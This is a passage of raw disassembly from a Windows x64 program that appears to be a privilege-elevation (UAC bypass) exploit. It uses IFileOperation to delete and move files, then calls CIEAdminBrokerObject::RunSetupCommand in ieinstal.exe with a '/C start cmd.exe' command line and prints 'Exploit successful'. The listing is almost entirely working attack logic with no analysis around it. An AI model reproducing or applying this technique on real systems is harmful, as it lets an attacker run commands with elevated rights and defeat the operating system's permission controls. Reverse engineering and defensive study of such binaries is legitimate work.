call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SHCreateItemFromParsingName____1__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xec4], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xec4]
jmp 0x140017f0e
lea r9, [rbp + 0x788]
lea r8, [0x140029520]
xor edx, edx
lea rcx, [rbp + 0x540]
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x1400178f1
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.SHCreateItemFromParsingName____2__failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xee4], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xee4]
jmp 0x140017f0e
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
xor r8d, r8d
mov rdx, qword [rbp + 0x768]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x90]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017a31
mov rax, qword [rbp + 0x788]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x788]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::DeleteItem___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xf04], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xf04]
jmp 0x140017f0e
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x788]
mov rdx, qword [rbp + 0x7a8]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x70]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x140017b7e
mov rax, qword [rbp + 0x788]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x788]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::MoveItem___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xf24], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xf24]
jmp 0x140017f0e
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0xa8]
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x788]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x788]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x768]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x7a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x7a8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x148]
call qword [rax + 0x10]
lea rcx, [rbp + 0x298]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [rbp + 0x64], 0
jge 0x140017cb4
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.IFileOperation::PerformOperations___failed._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
lea rdx, [0x14001166d]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x64]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140011370]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rbp + 0xf44], 1
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xf44]
jmp 0x140017f0e
xor r8d, r8d
lea rdx, str.cmd.exe
lea rcx, [rbp + 0xc8]
call fcn.1400114dd
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0xc8]
call fcn.1400111a9
mov qword [rbp + 0xfb8], rax
mov rdx, qword [rbp + 0xfb8]
lea rcx, [rbp + 0xc8]
call fcn.1400115b4
lea rcx, [rbp + 0xf68]
call fcn.140011636
lea rcx, [rbp + 0xc8]
call fcn.140011258
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x808], rax
mov rdx, qword [rbp + 0x238]
lea rcx, [rbp + 0x828]
call fcn.14001124e
nop
lea rdx, str.__C_start_cmd.exe
lea rcx, [rbp + 0x828]
call fcn.140011393
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
lea rcx, [rbp + 0x828]
call fcn.140011258
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
lea rcx, [rbp + 0x868]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], 0
lea rcx, [0x140022bec]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x808]
mov qword [rsp + 0x28], rcx
lea rcx, [0x140022bec]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x238]
xor r8d, r8d
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x20]
mov dword [rbp + 0x64], eax
mov rcx, qword [rbp + 0x808]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x168]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 0x64], 0x80070057
je 0x140017e46
lea rdx, str.ieinstal.exe____CIEAdminBrokerObject::RunSetupCommand___did_not_return_the_expected_value__E_INVALIDARG_._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140023850]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
mov dx, 0xf
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140023854]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140023858]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Exploit_successful._n_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011398
mov dx, 7
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rbp + 0xfa4], 0
lea rcx, [rbp + 0x828]
call fcn.140011636
nop
lea rcx, [rbp + 0xc8]
call fcn.140011636
nop
lea rcx, [rbp + 0x88]
call fcn.140011636
mov eax, dword [rbp + 0xfa4]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140022590]
call fcn.1400115f5
mov rax, rdi
mov rcx, qword [rbp + 0xfc0]
xor rcx, rbp
call fcn.140011366
lea rsp, [rbp + 0xfd8]
pop rdi
pop rbp
ret